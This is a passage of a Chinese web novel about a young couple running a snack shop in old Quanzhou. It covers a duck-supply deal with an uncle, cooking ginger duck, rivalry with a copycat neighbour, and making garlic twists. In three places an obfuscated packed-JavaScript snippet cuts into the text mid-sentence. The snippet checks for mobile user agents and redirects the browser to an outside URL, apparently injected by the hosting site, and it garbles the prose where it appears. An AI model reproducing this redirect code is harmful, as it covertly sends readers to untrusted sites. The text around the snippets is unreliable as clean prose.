“你钱多烧的是不是？三十八文我能卖比这大一圈的鸭子！以后你的鸭子，阿舅便宜包了！” 苏月娘也知道自家阿舅是为了自己好，但是毕竟来回一趟费时费力，她也不好占自家阿舅的便宜。 “您大老远送一趟鸭子可不容易，总不能让您天天在骡子上颠着过来！送少了不够卖，送多了又没处放……谁喂鸭子、谁杀鸭子又都是问题……” 林富贵哼笑了起来，他曲起手指，往苏月娘的脑门上狠狠弹了一下，苏月娘吃痛地捂住额头，朝着张氏控诉阿舅的行径。 “你看着挺精，其实憨得很！家里那么多工人，我上赶着吃这苦做什么？你鸭子买多了，阿舅也就挣得多了，够给工人付工钱的了！再说了，舅舅帮你省下来的钱你租地圈鸭、雇人杀鸭都成！” 理是这么个理，苏月娘心里有些动摇了。 林富贵见外甥女的面上有了松动之色，笑道：“这事儿你慢慢想！阿舅先去问问阿山打算做什么好吃的！” 说罢，林富贵又曲起手指朝着苏月娘比划，苏月娘连忙歪头躲到许春喜身后。 林富贵计谋得逞，哈哈大笑而去。 —— 厨房里自然是什么都有，但是钟爱山货的林富贵看什么都不满意。 杀自家鸡鸭炖汤已经来不及了，趁着今天的咸水鸭还没下锅，林富贵挑了两只最大的丢给许东山。 “阿舅中午想吃什么？” “冬至那天本来想吃姜母鸭的，但我和你阿妗两个人油下少了，鸭子烧糊了没吃上！” 许东山明白了，林富贵这是想吃姜母鸭了。 “阿舅习惯吃干的还是湿的？” 林富贵，“我爱吃干的！你多下点姜！我就爱那又油又香的姜片！” 许东山记下了林富贵的要求，趁着暂时没有客人上门，拎着两只鸭子摁在案板上剁成小块。 林富贵难得来一趟，自是不可能干活的，他在厨房里转悠了一圈，总觉得少了点什么，于是，他将躲在后面偷懒的林大松拎到厨房里干活。 …… 姜母鸭虽然不难做，但没点经验的人，难以烧出好吃的姜母鸭。 林大松很自觉地包揽下了做咸水鸭的活，让许东山专心去做姜母鸭。 姜母鸭起源于闽南，以大量味足的老姜母与番鸭一起烹制而得名，泉州人多是食用干煸的姜母鸭，但听见多识广之人言，一峡之隔的台湾岛上的百姓食用的姜母鸭却多是油汤煨炖的。 林富贵喜爱吃干煸过后的老姜母，许东山自然是要将量给足。 一斤出头的干老姜母不必去皮，改刀切成小指长、刀片厚的小片。 老姜母烹煮易味苦，从前许东山在宴席班子学艺时，他的师父曾教他光下麻油不成，还要下入等量的花生油，这样一来便可以极好地避免老姜发苦。 大火烧热了两个大炖煲里的麻油与花生油后，许东山弯身将灶膛里的大柴取了一根出来，等到炖煲里的油没那么热了，才将切好的姜母片分别倒入炖煲里煸。 火小了，煸姜母就需要十足的耐心。 许东山两手开弓，一手拿一双筷子，慢慢地翻着两个炖煲里的姜母片。 浓香的麻油与辛香的姜母经过加热，味道变得十分浓郁，两样味道交织在一起隔远了闻，那叫诱人，但近了闻，便叫呛人了。 许东山努力地屏息，却还是难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524737|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免叫这油烟钻入了他的鼻子里头。 姜母片还没熟，许东山便别过头，用力地打起了喷嚏。 苏月娘给两只切好的鸭子焯好了水，瞧见许东山被油烟呛地直打喷嚏，连忙伸长胳膊，推开了灶边的窗户。 “你这傻子！这么呛都不知道要开窗子！” 许东山眼泪汪汪、鼻头红红地回过头，往后站了一些。 等炖煲里的老姜母被油煸干了水分，表面变得干酥微微焦黄后，许东山将姜母片捞起备用。 这样的姜母片酥却又保留了姜母内丝条的口感，尝起来不会过于辛辣。 紧接着，苏月娘将焯过一回的鸭肉端过来，倒入两个炖煲里头。 焯过水的鸭肉表面残留水珠，一入锅，浓白色的烟雾“蹭”地一下子从锅底冒了上来。 许东山纵然有防备，依旧被熏得睁不开眼睛。 怕鸭子糊锅，许东山忍着刺激快速地翻动两个炖煲里的鸭肉，苏月娘见他忍得辛苦，忙接过他左手的筷子，帮他搅起了左边的鸭肉。 两人一番翻搅，锅里的油慢慢地没那么烈了，但嫩鸭肉依旧受不了长期与热油接触。 两口子只能继续站在那儿一边闲聊，一边翻鸭肉。 外头有客人闻见这香味，还询问红姑今日店里是否出了姜母鸭。 红姑只能摇头道今日这姜母鸭是头家自己要吃的。 客人们虽然有些失望，却还是纷纷嘱咐红姑同苏月娘说一说出姜母鸭的事情。 红姑给客人们端了面线糊后，便去厨房里同苏月娘说客人们的诉求。 苏月娘将筷子搁在灶边的瓷碗上，由许东山将先前备好的老姜母片连同、生抽老抽、盐、料酒以及麦芽膏（1）倒入炖煲中。 “刚刚外头那六七个人都问咱们店里是不是要上姜母鸭！我看你可以考虑考虑这事儿！” 苏月娘看看锅里的姜母鸭，叹了口气，“这鸭子的事情还没解决呢……” 红姑失笑，“其实你尽管答应你阿舅就好了，要是觉得鸭子没地方放，你可以放到我家里去！我家别的没有，就鸡圈最大！让你放个一二十只不成问题！” 苏月娘听了红姑的提议，摸了摸下巴，开始琢磨起了这事儿。 其实家里头有鸡圈鸭圈的厝边不在少数，倘若阿舅的鸭子拉来了，暂时不杀的可以放到别人家里去。 到时候给厝边一笔小钱作为酬劳，再雇佣两个杀鸭的，咸水鸭或者是外加姜母鸭的生意要是能够长久做下来，这样的支出倒也不算什么…… 苏月娘豁然开朗。 “今日要是再有人问起姜母鸭的事情，伯母就同人家说过几日咱们就出姜母鸭！” 红姑笑着点头。 锅里的姜母、鸭肉已经与方才倒进去的调料翻炒均匀了，姜母鸭已经初有模样了。 但是，这样的姜母鸭肉不够软烂、滋味也差一些。 许东山调和了些米酒水后倒入炖煲中，稍微搅拌均匀后，便盖上盖子，任鸭肉在炖煲中慢慢烹煮。 苏月娘用力吸了吸鼻子，今早只吃了个包子的肚子已经在咕咕乱叫了。 可是比起鸭子，还是做生意的事情更重要。 “你先看着火，我去同阿舅细谈鸭子的事情！” 72. 姜母鸭2 虽然浮桥地处偏僻，鸡鸭都卖得比凤池的便宜，但苏月娘不愿意太占林富贵的便宜。 最后舅甥俩谈定每三日由林家的工人送一百只连毛带肉三斤出头的鸭子过来，每只鸭子按三十八文算。 亲舅甥也要明算账，事情一谈妥，苏月娘便带着几个铜板去街上找个认字的读书人帮忙拟写契书。 林富贵原是不愿意弄这契书的，但苏月娘在边上念咒一般催着他写名盖印，吵得他头大，他这才提起笔对着契书来回比划。 在一旁看着的张氏似笑非笑，“你阿舅又不认字，你叫他写名不是难为他吗！” 被戳穿不认字痛处的林富贵又是老脸一红，瞪了妻子一眼，“谁说我不认字了！” 张氏，“那你写！” 苏月娘瞧出舅舅的窘迫，接过阿舅手中的毛笔，在另一张白纸上写下“林富贵”三字。 林富贵一边嘟囔着自己会写字，一边偷偷瞄着外甥女写的字，慢吞吞、歪歪扭扭地在两张契书上写下了自己的姓名。 “这不挺好看的！谁说我不认字！你才不认字！”林富贵冷哼着将自己的写的字展示给张氏看。 张氏忍俊不禁。 等纸上墨字干了后，苏月娘与林富贵一起用红泥在各自的名字上盖了手印。 “这契书咱们一人一张！阿舅，咱们合作愉快！”苏月娘将契书折好藏进兜里，再朝着林富贵伸出手。 林富贵咧着嘴笑了两声，将自己粗糙宽大的手伸了过去，轻轻和苏月娘握了一下。 “合作愉快！你这个鬼精还怪讲究的，做生意的头脑可不是一般好！一瞧就知道是随我这个做阿舅的！” 张氏连连嫌弃林富贵臭不要脸。 苏月娘倒是愿意哄着自家阿舅开心，直道外甥像舅乃是天经地义。 …… 近来客人不算少，若还是像从前一般等到中午的客人都走光了在吃饭，林富贵和张氏两个年纪大的，怕是会挨不住。 许东山索性赶在中午的客人还没来之前将备好的饭菜端上桌。 姜母鸭与排骨海带结汤摆在正中，五样或荤或素的配菜围在四周，咸淡荤素搭配，今天这一顿必不会叫人吃到腻味。 林富贵旁的都不看，就看最中间那两盆用麻油花生油煸得赤黄的姜母鸭。 苏月娘和许春喜还没将米饭送过来，林富贵就已经夹了一块鸭脖啃了起来。 “还合胃口吗？”许东山将盛汤的木勺搭在了汤盆边上。 “你小子别的优点没有，做菜倒是一绝！”林富贵难得开口夸人。 如此高的评价足以说明许东山的手艺有多好。 “我阿舅可不轻易夸人！这姜母鸭肯定好吃！大家都敞开了肚皮吃这姜母鸭！”苏月娘拉开长条木凳，与许东山一齐坐下。 今日做了两只鸭子，共四只鸭腿，足够苏月娘、许春喜还有阿生各分一只，剩下的那一只，张氏夹给了红姑。 红姑自觉是过来干活的，可不能吃太好，刚想要拒绝，张氏与她道： “阿山家里没有大家长能管事，他们小两口又太年轻，懂的也不多，您和他们两个关系近，可要帮我和月娘阿舅多照顾着他们点！” 红姑失笑，“唉……说来也歹势（1），都是他们小两口照顾我……我……” “伯母，一家人不说两家话！快吃饭！”许东山可听不得岁数大的人在那儿相互言语推让。 红姑点了点头，冲张氏笑了笑，接受了她的好意。 难得阿舅阿妗过来做客，苏月娘心里高兴，给自己盛的饭也比平日里多了小半。 她用勺推开鸭肉和堆叠在一起的老姜母片，应是在几乎快见着锅底的炖煲里舀了一勺炖煲底下的半数是油的焦色油汤汁浇在了白饭上。 被浇了汤汁的那一块白米饭不仅颜色变深了些，还变得油亮了一些。 苏月娘习惯第一口吃肉，筷子夹起裸露在外的鸭腿骨头，将整只鸭腿架了起来，连皮带肉咬了一大口鸭腿肉。 均匀裹着料汁和麻油花生油的鸭皮略辛辣，细尝过后能回一丝麦芽膏的清甜味。 这姜母鸭少说也在锅里待了一个时辰，可被烧烈的油并没有热干鸭肉中的水分，这嫩滑却不至于太过松散，咀嚼时还会流出麻油姜香汁水的鸭子大抵是还没有下过蛋的番鸭。 尝了鸭肉后，再配上一勺吸饱了油润料汁的米饭，说是天下绝配也不为过。 只是可惜干煸的姜母鸭底汁都是油，量还稀少，并不够苏月娘将一整碗米饭都浇上汁。 围坐在方桌边的八个人皆被姜母鸭催出了一额头的汗。 大家伙吃到一半，有客人陆续上门了。 许东山三口两口将碗里剩下的饭扒完，便起身去做事了。 进门的客人无一例外都问起了姜母鸭的事情，苏月娘便就乐呵呵地与询问的客人说过几日店里会卖姜母鸭。 苏月娘一吆喝完，许春喜拍了拍她的胳膊，朝着靠隔壁的那堵墙抬了抬下巴。 “你就不怕这事儿传到隔壁去，叫隔壁那个不要脸的婆子早我们一步将姜母鸭摆出来，将我们的生意都抢走了！” 如今李金花一改抠门的作风，上她家吃饭的客人可比从前多了胡少，许春喜还真是担心她的效仿会对苏月娘不利。 苏月娘朝许春喜笑了笑，叫她暂时放心，“就算叫你二婶学去，她肯定与我们一样，一开始做不了多少姜母鸭！要多做一些姜母鸭，新灶得砌吧？炖煲得买吧？只要我们赶在他们之前做好这些，肯定能早他们一步抢下客人！” 苏月娘说的不无道理，许春喜若有所思地点了点头，“那我今天下午出去找砌灶师傅，再去买炖煲！” …… 林富贵和张氏吃过午饭后，并不着急回家，而是独自上街买两身年兜时阵穿的新衣裳。 苏月娘和许春喜原要陪同，可林富贵和张氏怕耽搁店里的生意，便拒绝了两人同行。 既然如此，苏月娘也就去屋里取了一笔钱，叫许春喜帮忙去街上买几口炖煲。 至于砌新灶的事情，还需她想一想这灶该落在何处。 —— 傍晚，月娘小吃铺送走了最后几位客人，正要关门，街上杂物铺子的伙计披着夕阳余晖拉来了一车被颠得发出阵阵脆响的炖煲。 “月娘头家！东西送来了！” 苏月娘闻声而出。 毕竟这是一遭磕碰就容易碎裂的东西，马虎交付可不行。 伙计将拉车停稳之后便走到一旁去，让苏月娘和许东山一齐检查东西是否完好。 拉车上一共八个黑色炖煲，两口子一起仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534038|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细地将每一个炖煲检查清楚了，才付了剩下的钱，将炖煲一个一个地抱回屋里放着。 好事的李金花听见外头有别样的动静，迅速端起饭碗走出家门，站在门口窥探着隔壁的情况。 看着陆续被搬走的炖煲，李金花联想到今天中午飘到了自家店里的姜母鸭味…… 还站在外头的苏月娘回头一看，正好与李金花对上了眼。 李金花心虚地别开眼睛。 等东西搬完了，送货的伙计走了，李金花才回到家里。 缺了颗牙的许东石问道：“娘，隔壁在做什么？” 因为缺了颗牙的缘故，许东石说话有点漏风。 “隔壁要做姜母鸭了！” 许东石闻言，立即拍桌道：“姜母鸭？咱们也做起来！” 许二福看了眼厨房里还没卖完的三四只咸水鸭，摇了摇头。 咸水鸭都还没琢磨明白就又要做姜母鸭？只怕这门生意做不起来。 “许二福，你摇头做什么？你个做二叔的，还怕隔壁那两个小的？”李金花在桌底下狠狠踹了许二福一脚。 “咱们这咸水鸭味道都不如隔壁的……姜母鸭怕是……”为了自家小店着想，许二福还是说了实话。 李金花阴着脸，放下碗筷，冲着许二福一顿乱喷，“许二福你什么意思？东石娶媳妇的钱还没攒够，你不想做也得做！” 许东石跟着嚷嚷道：“隔壁许东山都能娶上苏月娘这么个如花似玉又会挣钱的女人，我可不能比他差劲！” 看着儿子缺了颗牙的嘴巴，李金花又是一阵心疼，恨不得即刻冲到隔壁去，将隔壁那两口子杀剐了。 李金花给许东石夹肉，“你放心！娘已经在给你相看姑娘了！我保证给你找一个又漂亮又能挣钱的！” 许二福抬头看看长得有些贼眉鼠眼还破了相的儿子，到底是没忍心将丧气的话说出口。 —— 月娘小吃铺六口人才刚坐下吃饭，大门又被人叩响了。 “月娘头家！是我！” 门外人是浑身上下裹得严严实实的刘昌。 许东山赶紧起身拉开门栓，将刘昌请了进来。 “刘叔吃了吗？要不要坐下一起吃点热乎的？”苏月娘起身作势要去厨房给刘昌盛饭。 刘昌看看那一桌子饭菜，到底是摆了摆手，拒绝了。 “我来不是为了吃饭！是有好事要告诉你们！”刘昌手伸进了宽大的袖子里头，摸出了一大串钱塞给了许东山。 许东山手上一沉，面露疑惑。 “知府大人冬至那天在你家吃了一顿后，就一直跟我们念叨着你家的东西有多好吃！这不，刚刚我下值之前，知府大人还私底下托我过来你们这儿订上一桌！等休沐日到了，他要请我们几个手下人吃顿好的！” 得知周伯益想在这儿宴请下属们，苏月娘有些受宠若惊。 “要不刘叔还是劝说周大人去寻个好一点的酒楼吧！我们这儿地方小……还……” 刘昌摆摆手，“这可换不了！知府大人点名要上你们家吃呢！” “更何况……” “他都已经在手下人面前对你家大夸特夸过了！临时换地方，这不是打他的脸吗！” 话都说到这个份上，苏月娘与许东山只好应下了这事儿。 73. 蒜蓉枝1 新灶还没砌好，姜母鸭的生意暂时做不了太大。 于是苏月娘琢磨了一晚上，决定中午傍晚各售两只姜母鸭，先让小部分客人将自家的姜母鸭宣扬出去，等新灶砌好了，这门生意自然就能做大起来。 林富贵的鸭子明日起送，苏月娘与红姑、对门林阿婆还有阿莲的娘谈好了在她们家中放鸭子的事情，并给了她们一笔钱作为报酬。 …… 反正明日就有鸭子可用了，苏月娘也没太执着于今日的生意，只让许东山去外头收来了十四只散鸭。 四只做姜母鸭，十只做咸水鸭。 姜母鸭这东西味道可比咸水鸭浓郁多了，鸭肉才刚刚下锅，辛辣丰富的味道便飘得到处都是。 曾经因为独特的香味吸引了许多客人的咸水鸭竟然闻不见半点味道。 还没到饭点，同住一条巷子的厝边便带着钱去到月娘小吃铺等着姜母鸭出锅。 “你家这姜母鸭的香味从巷头飘到了我们巷尾里！正好今天我女儿女婿要带着我外孙回来，我买一只，一家人一起尝一尝！” 这是第一个捧场自家姜母鸭的客人，又是抬头不见低头见的同巷厝边，苏月娘不仅少收了点钱，还在姜母鸭出锅之后叫林大松帮忙将炖煲端到那厝边的家中。 厝边家不远，离月娘面线糊店也就百来步。 林大松这人爱笑又好礼，巷子深处的一些厝边知道他是许家的女婿，纷纷同他问候两句。 林大松也就是在路上耽搁了一会儿，等他回了店里，余下的一只姜母鸭被分为四份卖了三份，还有最后一份正在被两位客人争抢。 “是我先和月娘头家开的口！” “明明是我才对！” 苏月娘半句话都插不进去，只好站在一旁看着他们吵。 许东山听见外头的叫嚷，放下锅铲想出来劝架，还不等他开口，外头便传来了李金花的吆喝。 “卖姜母鸭喽！刚刚出锅的姜母鸭！一份只要十文钱！” 这价钱，比月娘小吃铺的还要便宜两文。 那两个客人自己消停了下来。 “大家都是熟人，在这儿吵也叫你难做生意！今天我就先去隔壁吃！下次再来尝你家的！”其中一位提出要走。 “你不吃我吃！月娘头家，你把最后一份给我上了！”另一人自己寻了个位置坐下。 事情解决了，苏月娘拉着许东山一起回厨房给客人准备姜母鸭。 “你看他们都没尝过咱们的姜母鸭，就抢得死去活来的！你说……我那炖煲是不是买少了……” 许东山先捞出老姜母片垫在碟底，而后再将姜母鸭块盛出，“再多的话，家里也没地方摆了。” 苏月娘在白米饭上放上一小把炒得油亮的小白菜，“等有钱了，咱们把厨房盖大一些！这样就不用因为地方不够大而把生意做得缩手缩脚的。” 许东山抬头，透过小窗，看向外头，依苏月娘说的，这儿会越来越大…… 这可是他从前想都不敢想的。 “会有这么一天的。”许东山将米饭与姜母鸭放在托盘中，端了出去。 …… 两刻钟后，方才听了李金花的吆喝去了隔壁吃姜母鸭的那客人一脸平淡地路过了从隔壁走了出来。 苏月娘正好坐在孤榻那儿给阿生削甘蔗，瞧见那人路过，她还打了个招呼。 “等你下次来我家！我请你吃姜母鸭！” 那客人连连点头，并凑上前去，同苏月娘嘀咕道：“还真是遭了骗了！虽然他家的姜母鸭便宜，但味道发苦，肉还柴，饭里连根菜都舍不得放！下次再也不去了！” 苏月娘就爱听人说李金花的坏话，她顺手掰下一节甘蔗递给他。 “这你拿着吃，去去嘴里的苦味儿！” “谢了！”那人接了这已经削了皮的甘蔗，心里的那点不快，很快就消散了。 蹲在苏月娘身后玩草编蚂蚱的阿生在那人走后探出头来，苏月娘又掰下第二节甘蔗塞到他嘴里。 阿生将甘蔗从嘴里拔出来，问道：“干娘，你这次好像没有以前那样生气了！” 苏月娘得意地挑了挑眉，“这就叫做修行！我要是成日愁眉苦脸的，那可怎么行！所以啊……你要多学学干娘的心胸！” 阿生从前可撞见好几次苏月娘因为李金花的效仿而生闷气，这一气，就气了大半年。 他啃了一口甘蔗，借着嚼甘蔗的动作，藏住了嘴角的笑。 今天鸭子卖得少，店里并不忙碌，许春喜闲来无事走出来瞧一瞧苏月娘与阿生在做什么。 “与客人说了好半天的话，渴死我了！你快给我掰一节尝尝！” 这半条甘蔗一人分一节也快没了，苏月娘给许春喜递了一节后，索性将剩下的皮都削了，将浅黄色的甘蔗分成几段，自留一节，余下的叫阿生跑腿送去给许东山、林大松还有红姑吃。 “难得今天闲着，我午后做点好吃的！” 自打许春喜来了这儿后，便三不五时地下厨做一些粿饼，自此，苏月娘就再也没有去过糕点铺子。 “你好几日没做了！今天打算做什么好吃的？” “我看厨房里还剩了不少蒜，我做个蒜蓉枝怎么样？” 苏月娘扭头看了一眼后头坐在门槛上用后槽牙啃甘蔗的阿生，笑道：“哎呦，苦了我们刚掉了牙的阿生！蒜蓉枝这么硬，阿生肯定咬不动！” 阿生听了，五官都皱到了一块儿去。 许春喜噗嗤一笑，“听说你又松了几颗牙，你就不要吃了！省得将牙齿都崩掉了！” “春喜姑姑，你和姑父学坏了！”阿生幽幽道。 —— 过了中午这一阵，许东山和林大松被发配到外头洗碗，而苏月娘和红姑祖孙挨在许春喜身边看她做蒜蓉枝。 面粉是林大松刚刚去粮食铺子里背回来的。 许春喜和苏月娘姑嫂俩性子相似，做东西都是大手大脚的，林大松刚刚背来的三斤面粉，全被她倒在盆里，添上草木灰水、盐、两颗鸡蛋、一大碗水以及一大坨猪油一起搅拌。 红姑感慨道：“我后头厝（1）穷，那时我和厝边家的女儿一起出嫁，我家出不起东西，而他家有钱，做了几十斤蒜蓉枝分给亲戚，可让我羡慕到现在！” 许春喜撸起袖子，用手揉起了盆里的面，“等阿生做了大官，回来盖房买地孝敬您，到时候就是旁人羡慕您了！” 听了这话，方才还在伤感的红姑眼里顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537918|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满了希望，恨不能赶紧将年给过了，好将阿生送到学堂里去念书。 许春喜手劲儿不小，很快就将面团揉好了。 “现在先让着面团醒一会儿！”许春喜将盆放在阴凉的窗下。 阿生扒在灶边看着那一坨黄黄嫩嫩还透着一股面香的面团，便疼不住伸出手指头—— “你这个臭小子！还想干坏事！” “啊啊啊啊啊！” 刚洗完碗进来的林大松掐住阿生的腋下将他提了起来，往上抛了抛。 阿生被抛得又害怕又欢喜，连忙大喊道：“我错了！我错了！” 林大松这才将阿生抱在怀里，带着他坐在灶边，摁着他的两条胳膊，往他额头上弹了个大脑崩。 阿生痛得吱哇乱叫。 目睹全程的红姑悄悄对许春喜道：“往后你和大松要是添了小孩子，这家里肯定得热闹坏了！” 许春喜扶额，“他这人平日里就喜欢逗别人家的小孩玩，往后要是生了孩子，我得被他吵死！” …… 面团醒发好，许春喜拿起从库房深处翻出来的擀面杖将面团擀成一张大面饼，而后再慢慢用刀切成粗细均匀的长筷形状。 蒜蓉枝形状独特，乍一看与姑娘头上编的麻花辫极为相似，但细看能发现麻花辫是三股的，而这蒜蓉枝是四股的。 这边需要将那长筷子形状的面条正反来回搓成螺旋纹路的条，再两头捏起来，拧成两股的麻花，再接着将两股麻花的结正反拧深了，最后再捏着两头，又成一段新的四股麻花，这样，蒜蓉枝的面胚子便成了形状。 为了能快些吃上蒜蓉枝，大家纷纷加入了搓麻花的队伍。 三斤多的面团，不到两刻钟，便都成了摆满了案头的拇指大小的麻花结。 许东山已经热好了油，此时油温正好，许春喜抓紧时间将一半蒜蓉枝面团倒入大锅里炸。 “哥你看着点火，别把蒜蓉枝炸得外酥里嫩！” 许东山，“我有经验，你干别的！” 许春喜剁蒜蓉、切葱花的时候，苏月娘就没去凑热闹了，而是坐在灶边，撑着脑袋，盯着许东山一个劲儿地看。 许东山抽空转头看苏月娘，问道：“我脸上有东西？” “看你长得俊！” 许春喜又很适时地发出了轻快的笑声。 现在的两个人已然能在许春喜面前毫无忌惮地亲昵了。 许春喜正以为许东山不好意思予以回应时，没想到，许东山竟然回了一句，“你也很漂亮。” 苏月娘开心得朝着许东山撅起了嘴，隔空亲了他一下。 后头的许春喜惊得差点将手指头给切了。 果然，人活得久了，不仅能见到老铁树开花，还能听见闷葫芦说甜言蜜语。 等蒜蓉枝在热油中变得金黄了，许东山毫不恋战地捞起蒜蓉枝放在盘中放凉，紧接着倒入另外一半蒜蓉枝面团接着炸。 待炸好的蒜蓉枝没那么滚烫了，许东山左手翻动锅中的蒜蓉枝，右手捏了一条蒜蓉枝朝着苏月娘递过去。 苏月娘张嘴，等许东山将小巧的蒜蓉枝丢到她的口中，她便将这蒜蓉枝咬得嘎吱嘎吱响。 满口酥香，满面是笑。 74. 蒜蓉枝2 蒜蓉和葱花切好了，便可以开始熬制挂在蒜蓉枝外的糖浆了。 许春喜在陈头家那儿做事除了得到了一笔工钱之外，还从那儿的老师傅得到了一些吃食材料所需的配比。 一斤二两白糖与六两清水配在一起小火熬制，白糖慢慢化在水中，最终与水成为一体，经过加热，浆面鼓起大泡。 “姑姑，这个可以用来做油柑枝吗？” “可以。”还不到可以倒入蒜蓉和葱花的时候，许春喜便握着木勺，慢慢搅拌着糖泡不断变细密的糖浆。 “姑姑你等我一下！” 阿生赶忙跑出跑出厨房，从土地公和观音妈面前取下一颗永春芦柑（1），三下两下将芦柑皮给扒干净了，而后取一根筷子，横插在芦柑上。 “姑姑，帮我弄一个芦柑枝吧！” 许春喜看着阿生期待地将一根串好的芦柑递过来，她很是爽快地将芦柑接过来。 “你快点去拿个碗，从水缸里舀半碗水！” 趁着锅里糖浆的水分未被彻底蒸发干净，许春喜握着筷子，让芦柑在糖浆里快速转上一圈。 还带着点没有扒干净的白色经络的橘色芦柑裹上一层晶亮的糖浆，许春喜趁着从顶上往底下汇聚的糖还没滴落下来，忙将芦柑放入阿生端来的凉水中冷却。 约莫是滚了三圈，芦柑碰撞到瓷碗碗壁，发出清脆的声响。 “好了！你快去吃吧！” “谢谢姑姑！”阿生开开心心地握着那根油柑枝咬了一口。 糖壳“咔”地一声碎裂开，清甜的永春芦柑汁水随后爆出。 “好吃！”阿生一脸满足，“姑姑你吃吗？” “姑姑不爱吃芦柑，你自己吃吧！” 永春芦柑作为泉州永春的冬季特产，时常会成为泉州百姓们年兜时待客酬神的水果。 因为价格低廉，大家一买就是一筐，这一筐可以从年前一直吃到正月底。 许春喜早早地吃腻味了。 锅中的糖浆已经变得黏稠，许春喜将备好的蒜蓉葱花倒入，搅拌均匀后，她朝许东山喊道：“哥，把蒜蓉枝拿来！” 许东山端起大盆，不忘抓上三两个蒜蓉枝留给苏月娘当零嘴。 许春喜从许东山手里接过那一盆蒜蓉枝慢慢往锅中倾倒。 许东山在边上看着，“你炒得动吗？不然我来。” “我可有力气了！你可别小瞧我！”一将蒜蓉枝全部倒进锅里，许春喜便用锅铲卖力地翻起了蒜蓉枝。 见许春喜动作也还算麻利，许东山便由着她自己一人给蒜蓉枝裹蒜蓉葱花糖浆了。 锅中黏稠的蒜蓉葱花糖浆经过翻炒、加热，慢慢成为均匀凝结在黄色蒜蓉枝外的白砂，白砂中还带着绿点与黄点。 等到锅底只余下一片带着葱花与蒜蓉的糖霜之后，许春喜将蒜蓉枝铲回原来的的大盆中放着。 阿生已经吃完了许春喜给他做的芦柑枝了，等他闻见一股浓郁的蒜蓉味，并听见蒜蓉枝倒入盆中的声响，他连忙跑回厨房，等着吃蒜蓉枝。 “来来来，先去洗洗你这小脏手！”路过的林大松看阿生的手上染着橘黄的汁水，赶忙架着他去外头冲手。 苏月娘本还想和许春喜夸一夸自家表哥如此心细，还能发现阿生的手不干净。 没想到林大松才架着阿生出去没多久，外头便传来阿生的尖叫。 “水都冲进我袖子里了！姑父你放开我！” 苏月娘将到了嘴边的夸奖又咽回了肚子里头。 林大松又架着满脸愤怒的阿生回来了。 “姑姑，干娘，我衣服都湿了！” 林大松往他屁股上拍了一巴掌，“你个臭小子还倒打一耙！明明是你乱动水才流进你袖管里的！” “明明是你没把我夹稳，害我差点掉下去，我才动的！” 许春喜揪着林大松的耳朵，皱眉道：“你个大人欺负小孩还有理了？” 可恶的姑父受到了姑姑的制裁，阿生偷偷地朝着林大松做了个鬼脸。 林大松刚朝这个小鬼头抡起了拳头，许春喜便加重了手上的气力，林大松顿时低声求饶。 许春喜两口子和阿生还在那儿闹腾，苏月娘却已经吹凉了一个蒜蓉枝往嘴里塞了。 舌头一触碰到蒜蓉枝，裹着葱花与蒜蓉的糖砂便化在舌头上，糖砂上含混着葱花和蒜蓉的香气，如此搭配并不会叫人觉得奇怪，反而别有一番滋味。 咬下一截酥脆的蒜蓉枝，甜腻的糖砂碰上略有咸味的蒜蓉枝，风味更妙。 “你快尝尝！春喜做的可好吃了！”苏月娘捏起一个蒜蓉枝，塞到许东山嘴里。 许东山没那么怕烫，三口两口便把那小小一个的蒜蓉枝嚼碎了。 “味道怎么样？”许春喜教训了林大松一顿，才准备尝尝自己做的蒜蓉枝。 许东山点头，“不错，和外头卖的味道一模一样。” 不是他刻意要夸赞自己妹妹，实在是这蒜蓉枝一点不比外面买的差，甚至味道还要更足一些。 许春喜得意地挑了挑眉。 红姑祖孙与林大松尝了之后，也纷纷夸赞许春喜手艺好。 等闭店吃过午饭之后，许春喜还悄悄塞了半斤多的蒜蓉枝给阿生带回家去做零嘴。 两个男人又在院子里刷碗，只剩下苏月娘坐在堂屋里清点今日挣到的钱。 许春喜从前只做小生意，她从前起早贪黑挣一日，也只能挣到苏月娘手边那一小堆钱。 “月娘，还是你有本事！年纪轻轻就能挣到这么多钱！”许春喜由衷感叹道：“我爹都没你那么能挣呢！” 苏月娘笑道：“没有你哥的手艺在后面撑着，我也挣不到这么多钱。” “我哥可是捡到宝了！打跟你相识之后，他跟变了个人似的！”许春喜撞了撞苏月娘的胳膊，朝她挤眉弄眼，“你也很漂亮～” 苏月娘，“……哼，你可别笑我们，你和我哥私底下多腻歪我就不说了！” “跟那个傻子有什么好腻歪的！”许春喜嘴硬。 苏月娘揶揄地瞥了许春喜一眼，看向摆在桌子正中的那盆蒜蓉枝。 “你手艺也不赖，有没有想过跟你哥一样靠手艺挣钱？当然，我说的可不是去作坊当帮工……” 